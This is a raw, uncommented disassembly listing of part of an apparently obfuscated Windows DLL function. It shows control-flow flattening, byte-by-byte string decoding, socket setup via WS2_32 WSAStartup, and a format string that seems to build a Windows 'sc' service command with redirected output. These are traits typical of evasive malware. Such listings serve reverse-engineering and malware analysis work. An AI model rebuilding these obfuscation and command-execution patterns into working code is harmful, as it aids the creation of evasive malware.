mov rax, qword [rbp + 0xd0]
mov rcx, qword [rbp + 0xd0]
sub rsp, 0x20
mov r8d, 0x800
xor edx, edx
call fcn.1800fcb10
add rsp, 0x20
lea rax, [rbp + 0xaf0]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0xc8]
sub rsp, 0x20
mov r8d, 0x800
xor edx, edx
call fcn.1800fcb10
movabs r11, 0x100000001b3
add rsp, 0x20
lea rax, [rbp + 0x2f0]
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
lea rax, [rbp + 0x2ec]
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
mov dword [rbp + 0x2ec], 0
mov eax, 0x2686e100
jmp 0x18005ef80
mov qword [rbp + 0x278], rdx
mov rdx, qword [rbp + 0x278]
add dl, 0xa
xor dl, 0x65
mov byte [rcx + 2], dl
add rcx, 3
mov rdx, qword [rbp + 0x238]
add rdx, 0xd
mov qword [rbp + 0x250], rdx
mov edx, 0x523878c1
nop dword [rax]
cmp edx, 0xc9db76d2
jle 0x1800605e0
cmp edx, 0x523878c0
jg 0x180060630
cmp edx, 0xc9db76d3
je 0x180060679
cmp edx, 0x248ed250
jne 0x180060550
mov rdx, qword [rbp + 0x248]
mov byte [rdx], 0
mov rdx, qword [rbp + 0x248]
add rdx, 1
mov qword [rbp + 0x260], rdx
mov rdx, qword [rbp + 0x250]
mov rbx, qword [rbp + 0x260]
cmp rbx, rdx
sete byte [rbp + 0x234]
mov edx, dword [0x180129bc8]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0xb91eaacc
mov ebx, 0xbb2490d6
cmovne edx, ebx
cmp dword [0x180129bcc], 0xa
mov ebx, 0xb91eaacc
cmovl edx, ebx
jmp 0x180060550
cmp edx, 0xa0c2ab22
je 0x180064869
cmp edx, 0xb91eaacc
je 0x18006096d
cmp edx, 0xbb2490d6
jne 0x180060550
mov rdx, qword [rbp + 0x248]
mov byte [rdx], 0
mov rdx, qword [rbp + 0x248]
mov rdx, qword [rbp + 0x250]
mov edx, 0x248ed250
jmp 0x180060550
cmp edx, 0x523878c1
je 0x1800606bc
cmp edx, 0x65f5a5e8
jne 0x180060550
mov dl, byte [rbp + 0x22c]
movsx rbx, byte [rax]
mov edi, 0x5ea9bc16
nop word [rax + rax]
cmp edi, 0x5ea9bc16
je 0x180060672
cmp edi, 0x25c3fc5
jne 0x180060660
jmp 0x1800606ee
mov edi, 0x25c3fc5
jmp 0x180060660
mov rcx, qword [rbp + 0x270]
mov dl, byte [rbp + 0x244]
mov byte [rcx], dl
mov rcx, qword [rbp + 0x270]
movsx rdx, byte [rax]
mov ebx, 0x5ea9bc16
nop dword [rax + rax]
cmp ebx, 0x5ea9bc16
je 0x1800606b5
cmp ebx, 0x25c3fc5
jne 0x1800606a0
jmp 0x180060739
mov ebx, 0x25c3fc5
jmp 0x1800606a0
mov qword [rbp + 0x248], rcx
mov edx, dword [0x180129bc8]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0xbb2490d6
mov ebx, 0x248ed250
cmove edx, ebx
cmp dword [0x180129bcc], 0xa
cmovl edx, ebx
jmp 0x180060550
mov qword [rbp + 0x278], rbx
mov rbx, qword [rbp + 0x278]
xor dl, bl
mov rbx, qword [rbp + 0x268]
mov byte [rbx], dl
mov rdx, qword [rbp + 0x268]
movsx rbx, byte [rax]
mov edi, 0x5ea9bc16
nop word [rax + rax]
cmp edi, 0x5ea9bc16
je 0x180060732
cmp edi, 0x25c3fc5
jne 0x180060720
jmp 0x18006077c
mov edi, 0x25c3fc5
jmp 0x180060720
mov qword [rbp + 0x278], rdx
mov rdx, qword [rbp + 0x278]
add dl, 9
xor dl, 0x6c
mov byte [rcx + 1], dl
movsx rdx, byte [rax]
mov ebx, 0x5ea9bc16
nop dword [rax]
cmp ebx, 0x5ea9bc16
je 0x180060775
cmp ebx, 0x25c3fc5
jne 0x180060760
jmp 0x18006051b
mov ebx, 0x25c3fc5
jmp 0x180060760
mov qword [rbp + 0x278], rbx
mov rbx, qword [rbp + 0x278]
add bl, 1
xor bl, 0x6c
mov byte [rdx + 1], bl
movsx rbx, byte [rax]
mov edi, 0x5ea9bc16
nop dword [rax]
cmp edi, 0x5ea9bc16
je 0x1800607b2
cmp edi, 0x25c3fc5
jne 0x1800607a0
jmp 0x1800607b9
mov edi, 0x25c3fc5
jmp 0x1800607a0
mov qword [rbp + 0x278], rbx
mov rbx, qword [rbp + 0x278]
add bl, 2
xor bl, 0x6f
mov byte [rdx + 2], bl
movsx rbx, byte [rax]
mov edi, 0x5ea9bc16
nop dword [rax]
cmp edi, 0x5ea9bc16
je 0x1800607f2
cmp edi, 0x25c3fc5
jne 0x1800607e0
jmp 0x1800607f9
mov edi, 0x25c3fc5
jmp 0x1800607e0
mov qword [rbp + 0x278], rbx
mov rbx, qword [rbp + 0x278]
add bl, 3
xor bl, 0x73
mov byte [rdx + 3], bl
movsx rbx, byte [rax]
mov edi, 0x5ea9bc16
nop dword [rax]
cmp edi, 0x5ea9bc16
je 0x180060832
cmp edi, 0x25c3fc5
jne 0x180060820
jmp 0x180060839
mov edi, 0x25c3fc5
jmp 0x180060820
mov qword [rbp + 0x278], rbx
mov rbx, qword [rbp + 0x278]
add bl, 4
xor bl, 0x65
mov byte [rdx + 4], bl
movsx rbx, byte [rax]
mov edi, 0x5ea9bc16
nop dword [rax]
cmp edi, 0x5ea9bc16
je 0x180060872
cmp edi, 0x25c3fc5
jne 0x180060860
jmp 0x180060879
mov edi, 0x25c3fc5
jmp 0x180060860
mov qword [rbp + 0x278], rbx
mov rbx, qword [rbp + 0x278]
add bl, 5
xor bl, 0x48
mov byte [rdx + 5], bl
movsx rbx, byte [rax]
mov edi, 0x5ea9bc16
nop dword [rax]
cmp edi, 0x5ea9bc16
je 0x1800608b2
cmp edi, 0x25c3fc5
jne 0x1800608a0
jmp 0x1800608b9
mov edi, 0x25c3fc5
jmp 0x1800608a0
mov qword [rbp + 0x278], rbx
mov rbx, qword [rbp + 0x278]
add bl, 6
xor bl, 0x61
mov byte [rdx + 6], bl
movsx rbx, byte [rax]
mov edi, 0x5ea9bc16
nop dword [rax]
cmp edi, 0x5ea9bc16
je 0x1800608f2
cmp edi, 0x25c3fc5
jne 0x1800608e0
jmp 0x1800608f9
mov edi, 0x25c3fc5
jmp 0x1800608e0
mov qword [rbp + 0x278], rbx
mov rbx, qword [rbp + 0x278]
add bl, 7
xor bl, 0x6e
mov byte [rdx + 7], bl
add rdx, 8
mov qword [rbp + 0x270], rdx
movsx rdx, byte [rax]
mov ebx, 0x5ea9bc16
nop word cs:[rax + rax]
nop
cmp ebx, 0x5ea9bc16
je 0x180060942
cmp ebx, 0x25c3fc5
jne 0x180060930
jmp 0x180060949
mov ebx, 0x25c3fc5
jmp 0x180060930
mov qword [rbp + 0x278], rdx
mov rdx, qword [rbp + 0x278]
add dl, 8
xor dl, 0x64
mov byte [rbp + 0x244], dl
mov edx, 0xc9db76d3
jmp 0x180060550
cmp byte [rbp + 0x234], 0
mov edx, 0x523878c1
mov ecx, 0xa0c2ab22
cmovne edx, ecx
mov rcx, qword [rbp + 0x260]
jmp 0x180060550
mov rax, qword [rbp + 0x1e0]
add rax, 6
mov qword [rbp + 0xe0], rax
mov eax, 0x5bff83be
jmp 0x18005ef80
lea rax, [rbp + 0x2e8]
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x60]
lea rax, [rbp + 0x280]
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0xc0]
mov rax, qword [rbp + 0xc0]
movups xmmword [rax + 0x50], xmm6
movups xmmword [rax + 0x40], xmm6
movups xmmword [rax + 0x30], xmm6
movups xmmword [rax + 0x20], xmm6
movups xmmword [rax + 0x10], xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x60], 0
mov eax, 0x81dbd7f3
jmp 0x18005ef80
mov rax, qword [rbp + 0xf0]
mov rax, qword [rbp + 0xf0]
mov edx, 0x58434c2b
jmp 0x180060a40
mov cl, byte [rbp + 0x238]
mov edx, dword [rbp + 0x270]
xor dl, cl
mov byte [rdi + 7], dl
add rdi, 8
mov rcx, qword [rbp + 0x250]
add rcx, 0xd
mov qword [rbp + 0x248], rcx
mov edx, 0xf4289427
nop
cmp edx, 0xef3b8e9a
jle 0x180060a90
cmp edx, 0x58434c2a
jg 0x180060ac0
cmp edx, 0xef3b8e9b
je 0x180060b0c
cmp edx, 0xf4289427
jne 0x180060a40
mov byte [rdi], 0
add rdi, 1
cmp rdi, qword [rbp + 0x248]
mov edx, 0xf4289427
mov ecx, 0xac8523ca
cmove edx, ecx
jmp 0x180060a40
cmp edx, 0xac8523ca
je 0x180064c8d
cmp edx, 0xad9bf56c
je 0x18006109a
cmp edx, 0xced6a0e8
jne 0x180060a40
mov edx, 0xef3b8e9b
jmp 0x180060a40
cmp edx, 0x58fec1d2
je 0x180060b8a
cmp edx, 0x58434c2b
jne 0x180060a40
mov edx, dword [0x180129bd0]
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
sete dl
cmp dword [0x180129bd4], 0xa
setl cl
xor bl, cl
and dl, cl
xor dl, bl
mov edx, 0xad9bf56c
mov ecx, 0x58fec1d2
cmovne edx, ecx
jmp 0x180060a40
mov rdi, qword [rbp + 0x260]
mov dword [rbp + 0x270], 0x65
mov edx, 0xfff5afe9
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xdb0d32aa
je 0x180060bfa
cmp edx, 0xfff5afe9
jne 0x180060b30
mov qword [rbp + 0x278], rax
mov edx, 0xb680d4e6
cmp edx, 0xa3aa8d80
je 0x180060b77
cmp edx, 0xb680d4e6
jne 0x180060b50
mov rcx, qword [rbp + 0x278]
movzx ecx, byte [rcx]
mov byte [rbp + 0x268], cl
mov edx, 0xa3aa8d80
jmp 0x180060b50
mov cl, byte [rbp + 0x268]
mov byte [rbp + 0x238], cl
mov edx, 0xdb0d32aa
jmp 0x180060b30
mov byte [rax], 0x31
mov dword [rbp + 0x270], 0x43
mov edx, 0xfff5afe9
nop dword [rax]
cmp edx, 0xdb0d32aa
je 0x180060c7a
cmp edx, 0xfff5afe9
jne 0x180060ba0
mov qword [rbp + 0x278], rax
mov edx, 0xb680d4e6
cmp edx, 0xa3aa8d80
je 0x180060be7
cmp edx, 0xb680d4e6
jne 0x180060bc0
mov rcx, qword [rbp + 0x278]
movzx ecx, byte [rcx]
mov byte [rbp + 0x268], cl
mov edx, 0xa3aa8d80
jmp 0x180060bc0
mov cl, byte [rbp + 0x268]
mov byte [rbp + 0x238], cl
mov edx, 0xdb0d32aa
jmp 0x180060ba0
mov cl, byte [rbp + 0x238]
mov edx, dword [rbp + 0x270]
xor dl, cl
mov byte [rdi + 1], dl
mov dword [rbp + 0x270], 0x48
mov edx, 0xfff5afe9
nop word [rax + rax]
cmp edx, 0xdb0d32aa
je 0x180060cfa
cmp edx, 0xfff5afe9
jne 0x180060c20
mov qword [rbp + 0x278], rax
mov edx, 0xb680d4e6
cmp edx, 0xa3aa8d80
je 0x180060c67
cmp edx, 0xb680d4e6
jne 0x180060c40
mov rcx, qword [rbp + 0x278]
movzx ecx, byte [rcx]
mov byte [rbp + 0x268], cl
mov edx, 0xa3aa8d80
jmp 0x180060c40
mov cl, byte [rbp + 0x268]
mov byte [rbp + 0x238], cl
mov edx, 0xdb0d32aa
jmp 0x180060c20
mov cl, byte [rbp + 0x238]
mov edx, dword [rbp + 0x270]
xor dl, cl
mov byte [rax + 1], dl
mov dword [rbp + 0x270], WSAStartup
mov edx, 0xfff5afe9
nop word [rax + rax]
cmp edx, 0xdb0d32aa
je 0x180060d7a
cmp edx, 0xfff5afe9
jne 0x180060ca0
mov qword [rbp + 0x278], rax
mov edx, 0xb680d4e6
cmp edx, 0xa3aa8d80
je 0x180060ce7
cmp edx, 0xb680d4e6
jne 0x180060cc0
mov rcx, qword [rbp + 0x278]
movzx ecx, byte [rcx]
mov byte [rbp + 0x268], cl
mov edx, 0xa3aa8d80
jmp 0x180060cc0
mov cl, byte [rbp + 0x268]
mov byte [rbp + 0x238], cl
mov edx, 0xdb0d32aa
jmp 0x180060ca0
mov cl, byte [rbp + 0x238]
mov edx, dword [rbp + 0x270]
xor dl, cl
mov byte [rdi + 2], dl
mov dword [rbp + 0x270], 0x61
mov edx, 0xfff5afe9
nop word [rax + rax]
cmp edx, 0xdb0d32aa
je 0x180060dfa
cmp edx, 0xfff5afe9
jne 0x180060d20
mov qword [rbp + 0x278], rax
mov edx, 0xb680d4e6
cmp edx, 0xa3aa8d80
je 0x180060d67
cmp edx, 0xb680d4e6
jne 0x180060d40
mov rcx, qword [rbp + 0x278]
movzx ecx, byte [rcx]
mov byte [rbp + 0x268], cl
mov edx, 0xa3aa8d80
jmp 0x180060d40
mov cl, byte [rbp + 0x268]
mov byte [rbp + 0x238], cl
mov edx, 0xdb0d32aa
jmp 0x180060d20
mov cl, byte [rbp + 0x238]
mov edx, dword [rbp + 0x270]
xor dl, cl
mov byte [rax + 2], dl
mov dword [rbp + 0x270], WSAStartup
mov edx, 0xfff5afe9
nop word [rax + rax]
cmp edx, 0xdb0d32aa
je 0x180060e7a
cmp edx, 0xfff5afe9
jne 0x180060da0
mov qword [rbp + 0x278], rax
mov edx, 0xb680d4e6
cmp edx, 0xa3aa8d80
je 0x180060de7
cmp edx, 0xb680d4e6
jne 0x180060dc0
mov rcx, qword [rbp + 0x278]
movzx ecx, byte [rcx]
mov byte [rbp + 0x268], cl
mov edx, 0xa3aa8d80
jmp 0x180060dc0
mov cl, byte [rbp + 0x268]
mov byte [rbp + 0x238], cl
mov edx, 0xdb0d32aa
jmp 0x180060da0
mov cl, byte [rbp + 0x238]
mov edx, dword [rbp + 0x270]
xor dl, cl
mov byte [rdi + 3], dl
mov dword [rbp + 0x270], WSAStartup
mov edx, 0xfff5afe9
nop word [rax + rax]
cmp edx, 0xdb0d32aa
je 0x180060efa
cmp edx, 0xfff5afe9
jne 0x180060e20
mov qword [rbp + 0x278], rax
mov edx, 0xb680d4e6
cmp edx, 0xa3aa8d80
je 0x180060e67
cmp edx, 0xb680d4e6
jne 0x180060e40
mov rcx, qword [rbp + 0x278]
movzx ecx, byte [rcx]
mov byte [rbp + 0x268], cl
mov edx, 0xa3aa8d80
jmp 0x180060e40
mov cl, byte [rbp + 0x268]
mov byte [rbp + 0x238], cl
mov edx, 0xdb0d32aa
jmp 0x180060e20
mov cl, byte [rbp + 0x238]
mov edx, dword [rbp + 0x270]
xor dl, cl
mov byte [rax + 3], dl
mov dword [rbp + 0x270], reloc.WS2_32.dll_WSAStartup
mov edx, 0xfff5afe9
nop word [rax + rax]
cmp edx, 0xdb0d32aa
je 0x180060f7a
cmp edx, 0xfff5afe9
jne 0x180060ea0
mov qword [rbp + 0x278], rax
mov edx, 0xb680d4e6
cmp edx, 0xa3aa8d80
je 0x180060ee7
cmp edx, 0xb680d4e6
jne 0x180060ec0
mov rcx, qword [rbp + 0x278]
movzx ecx, byte [rcx]
mov byte [rbp + 0x268], cl
mov edx, 0xa3aa8d80
jmp 0x180060ec0
mov cl, byte [rbp + 0x268]
mov byte [rbp + 0x238], cl
mov edx, 0xdb0d32aa
jmp 0x180060ea0
mov cl, byte [rbp + 0x238]
mov edx, dword [rbp + 0x270]
xor dl, cl
mov byte [rdi + 4], dl
mov dword [rbp + 0x270], 0x64
mov edx, 0xfff5afe9
nop word [rax + rax]
cmp edx, 0xdb0d32aa
je 0x180060f95
cmp edx, 0xfff5afe9
jne 0x180060f20
mov qword [rbp + 0x278], rax
mov edx, 0xb680d4e6
nop dword [rax]
cmp edx, 0xa3aa8d80
je 0x180060f67
cmp edx, 0xb680d4e6
jne 0x180060f40
mov rcx, qword [rbp + 0x278]
movzx ecx, byte [rcx]
mov byte [rbp + 0x268], cl
mov edx, 0xa3aa8d80
jmp 0x180060f40
mov cl, byte [rbp + 0x268]
mov byte [rbp + 0x238], cl
mov edx, 0xdb0d32aa
jmp 0x180060f20
mov cl, byte [rbp + 0x238]
mov edx, dword [rbp + 0x270]
xor dl, cl
mov byte [rax + 4], dl
mov edx, 0xad9bf56c
jmp 0x180060a40
mov cl, byte [rbp + 0x238]
mov edx, dword [rbp + 0x270]
xor dl, cl
mov byte [rdi + 5], dl
mov dword [rbp + 0x270], WSAStartup
mov edx, 0xfff5afe9
nop word cs:[rax + rax]
nop
cmp edx, 0xdb0d32aa
je 0x18006101a
cmp edx, 0xfff5afe9
jne 0x180060fc0
mov qword [rbp + 0x278], rax
mov edx, 0xb680d4e6
nop dword [rax]
cmp edx, 0xa3aa8d80
je 0x180061007
cmp edx, 0xb680d4e6
jne 0x180060fe0
mov rcx, qword [rbp + 0x278]
movzx ecx, byte [rcx]
mov byte [rbp + 0x268], cl
mov edx, 0xa3aa8d80
jmp 0x180060fe0
mov cl, byte [rbp + 0x268]
mov byte [rbp + 0x238], cl
mov edx, 0xdb0d32aa
jmp 0x180060fc0
mov cl, byte [rbp + 0x238]
mov edx, dword [rbp + 0x270]
xor dl, cl
mov byte [rdi + 6], dl
mov dword [rbp + 0x270], 0x65
mov edx, 0xfff5afe9
nop word [rax + rax]
cmp edx, 0xdb0d32aa
je 0x180060a12
cmp edx, 0xfff5afe9
jne 0x180061040
mov qword [rbp + 0x278], rax
mov edx, 0xb680d4e6
cmp edx, 0xa3aa8d80
je 0x180061087
cmp edx, 0xb680d4e6
jne 0x180061060
mov rcx, qword [rbp + 0x278]
movzx ecx, byte [rcx]
mov byte [rbp + 0x268], cl
mov edx, 0xa3aa8d80
jmp 0x180061060
mov cl, byte [rbp + 0x268]
mov byte [rbp + 0x238], cl
mov edx, 0xdb0d32aa
jmp 0x180061040
mov qword [rbp + 0x250], rax
mov rcx, qword [rbp + 0x250]
mov byte [rcx], 0x31
mov rdx, qword [rbp + 0x250]
mov dword [rbp + 0x270], 0x43
mov ebx, 0xfff5afe9
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0xdb0d32aa
je 0x18006112a
cmp ebx, 0xfff5afe9
jne 0x1800610d0
mov qword [rbp + 0x278], rax
mov ebx, 0xb680d4e6
nop dword [rax]
cmp ebx, 0xa3aa8d80
je 0x180061117
cmp ebx, 0xb680d4e6
jne 0x1800610f0
mov rcx, qword [rbp + 0x278]
movzx ecx, byte [rcx]
mov byte [rbp + 0x268], cl
mov ebx, 0xa3aa8d80
jmp 0x1800610f0
mov cl, byte [rbp + 0x268]
mov byte [rbp + 0x238], cl
mov ebx, 0xdb0d32aa
jmp 0x1800610d0
mov cl, byte [rbp + 0x238]
mov ebx, dword [rbp + 0x270]
xor bl, cl
mov byte [rdx + 1], bl
mov dword [rbp + 0x270], WSAStartup
mov ebx, 0xfff5afe9
nop word [rax + rax]
cmp ebx, 0xdb0d32aa
je 0x1800611aa
cmp ebx, 0xfff5afe9
jne 0x180061150
mov qword [rbp + 0x278], rax
mov ebx, 0xb680d4e6
nop dword [rax]
cmp ebx, 0xa3aa8d80
je 0x180061197
cmp ebx, 0xb680d4e6
jne 0x180061170
mov rcx, qword [rbp + 0x278]
movzx ecx, byte [rcx]
mov byte [rbp + 0x268], cl
mov ebx, 0xa3aa8d80
jmp 0x180061170
mov cl, byte [rbp + 0x268]
mov byte [rbp + 0x238], cl
mov ebx, 0xdb0d32aa
jmp 0x180061150
mov cl, byte [rbp + 0x238]
mov ebx, dword [rbp + 0x270]
xor bl, cl
mov byte [rdx + 2], bl
mov dword [rbp + 0x270], WSAStartup
mov ebx, 0xfff5afe9
nop word [rax + rax]
cmp ebx, 0xdb0d32aa
je 0x18006122a
cmp ebx, 0xfff5afe9
jne 0x1800611d0
mov qword [rbp + 0x278], rax
mov ebx, 0xb680d4e6
nop dword [rax]
cmp ebx, 0xa3aa8d80
je 0x180061217
cmp ebx, 0xb680d4e6
jne 0x1800611f0
mov rcx, qword [rbp + 0x278]
movzx ecx, byte [rcx]
mov byte [rbp + 0x268], cl
mov ebx, 0xa3aa8d80
jmp 0x1800611f0
mov cl, byte [rbp + 0x268]
mov byte [rbp + 0x238], cl
mov ebx, 0xdb0d32aa
jmp 0x1800611d0
mov cl, byte [rbp + 0x238]
mov ebx, dword [rbp + 0x270]
xor bl, cl
mov byte [rdx + 3], bl
add rdx, 4
mov qword [rbp + 0x260], rdx
mov dword [rbp + 0x270], reloc.WS2_32.dll_WSAStartup
mov edx, 0xfff5afe9
nop word cs:[rax + rax]
nop
cmp edx, 0xdb0d32aa
je 0x1800612ba
cmp edx, 0xfff5afe9
jne 0x180061260
mov qword [rbp + 0x278], rax
mov edx, 0xb680d4e6
nop dword [rax]
cmp edx, 0xa3aa8d80
je 0x1800612a7
cmp edx, 0xb680d4e6
jne 0x180061280
mov rcx, qword [rbp + 0x278]
movzx ecx, byte [rcx]
mov byte [rbp + 0x268], cl
mov edx, 0xa3aa8d80
jmp 0x180061280
mov cl, byte [rbp + 0x268]
mov byte [rbp + 0x238], cl
mov edx, 0xdb0d32aa
jmp 0x180061260
mov cl, byte [rbp + 0x238]
mov edx, dword [rbp + 0x270]
xor dl, cl
mov rcx, qword [rbp + 0x260]
mov byte [rcx], dl
mov ecx, dword [0x180129bd0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov edx, 0x58fec1d2
mov ecx, 0xced6a0e8
cmove edx, ecx
cmp dword [0x180129bd4], 0xa
cmovl edx, ecx
jmp 0x180060a40
mov r8, qword [rbp - 0x38]
mov eax, 0xa28
add r8, rax
mov rax, qword [rbp + 0x1e0]
mov rcx, qword [rbp + 0x208]
sub rsp, 0x30
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x2f0]
lea rdx, str._s_sc__s___s_2_1
lea r9, [0x18011fd8a]
call fcn.18003e980
movabs r11, 0x100000001b3
add rsp, 0x30
mov eax, 0x658d20df
jmp 0x18005ef80
mov eax, 0x20
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1c8], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b8], rax
mov eax, 0x20
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a8], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x198], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x190], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x188], rax
mov eax, 0x20
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x180], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x178], rax
mov eax, 0x20
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x170], rax
mov eax, 0x20
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x168], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x160], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x158], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x150], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x148], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x140], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x138], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x130], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x128], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x120], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x118], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x110], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x108], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x100], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xf8], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xf0], rax
lea rsi, [rbp + 0x2310]
mov qword [rbp + 0xe8], rsi
mov rax, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0xe8]
sub rsp, 0x20
mov r8d, 0x800
xor edx, edx
call fcn.1800fcb10
add rsp, 0x20
mov qword [rbp + 0x1e0], rsi
mov rcx, qword [rbp + 0x1e0]
sub rsp, 0x20
mov edx, 0x400
mov r8, qword [rbp - 8]
call fcn.180108600
add rsp, 0x20
lea rax, [rbp + 0x2308]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov eax, 0xff888f12
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xba76dfa7
je 0x1800650ff
cmp eax, 0xff888f12
jne 0x180061640
sub rsp, 0x20
lea rsi, [rbp + 0x2308]
mov rcx, rsi
mov dx, 0x63
call fcn.180097890
add rsp, 0x20
mov word [rbp + 0x2308], ax
sub rsp, 0x20
mov rcx, rsi
mov dx, 0x64
call fcn.180097890
add rsp, 0x20
mov word [rbp + 0x230a], ax
mov eax, 0xba76dfa7
jmp 0x180061640
cmp byte [rbp + 0x226], 0
mov eax, 0x67848349
mov ecx, 0x34a3b61d
cmovne eax, ecx
jmp 0x18005ef80
cmp dword [rbp + 0x1d4], 0
mov eax, 0x90516810
mov ecx, 0xc9a1b578
cmove eax, ecx
jmp 0x18005ef80
mov eax, dword [rbp + 0x228]
mov eax, dword [rbp + 0x228]
mov eax, dword [rbp + 0x228]
mov eax, dword [rbp + 0x228]
mov eax, dword [rbp + 0x228]
mov eax, dword [rbp + 0x228]
mov eax, dword [rbp + 0x228]
mov eax, 0x9facf468
jmp 0x18005ef80
mov dword [rbp + 0x278], ecx
mov ecx, dword [rbp + 0x278]
mov byte [rax], cl
mov edx, 0x8e7cd9ae
nop
cmp edx, 0x424d75d7
je 0x18006519a
cmp edx, 0x8e7cd9ae
jne 0x180061710
mov ecx, 0xf253d7a4
nop dword [rax]
cmp ecx, 0xf253d7a4
je 0x180061742
cmp ecx, 0xcb19b41
jne 0x180061730
jmp 0x180061749
mov ecx, 0xcb19b41
jmp 0x180061730
mov dword [rbp + 0x278], 0x5f
movsxd rcx, dword [rbp + 0x278]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, 0x6c
mov edx, 0x424d75d7
jmp 0x180061710
mov eax, dword [rbp + 0x21c]
add eax, 1
mov qword [rbp + 0x20], rax
mov eax, 0x5f524a1f
jmp 0x18005ef80
mov eax, dword [0x1801297e8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6a313a92
mov ecx, 0x6b3db70f
jmp 0x18005ef6a
mov eax, dword [rbp + 0x1dc]
mov dword [rbp + 0x228], eax
mov rax, qword [rbp + 0x130]
mov rsi, qword [rbp + 0x130]
mov qword [rbp + 0x270], rsi
mov rax, qword [rbp + 0x270]
mov byte [rax], 0x27
mov rdi, qword [rbp + 0x270]
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x53
call fcn.180097f40
add rsp, 0x20
mov byte [rdi + 1], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x65
call fcn.180097f40
add rsp, 0x20
mov byte [rdi + 2], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x74
call fcn.180097f40
add rsp, 0x20
mov byte [rdi + 3], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x46
call fcn.180097f40
add rsp, 0x20
mov byte [rdi + 4], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x69
call fcn.180097f40
add rsp, 0x20
mov byte [rdi + 5], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x6c
call fcn.180097f40
add rsp, 0x20
mov byte [rdi + 6], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x65
call fcn.180097f40
add rsp, 0x20
mov byte [rdi + 7], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x50
call fcn.180097f40
add rsp, 0x20
mov byte [rdi + 8], al
add rdi, 9
mov qword [rbp + 0x250], rdi
lea rax, [0x18011f956]
mov qword [rbp + 0x260], rax
mov eax, 0x24511d92
nop dword [rax]
cmp eax, 0x2b935193
jg 0x180061970
cmp eax, 0xbb3106ac
je 0x1800619a6
cmp eax, 0x24511d92
jne 0x1800618b0
mov rax, qword [rbp + 0x260]
movzx edx, byte [rax]
sub rsp, 0x20
mov rcx, rsi
call fcn.180097f40
add rsp, 0x20
mov rcx, qword [rbp + 0x250]
mov byte [rcx], al
mov rbx, qword [rbp + 0x250]
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x69
call fcn.180097f40
add rsp, 0x20
mov byte [rbx + 1], al
sub rsp, 0x20
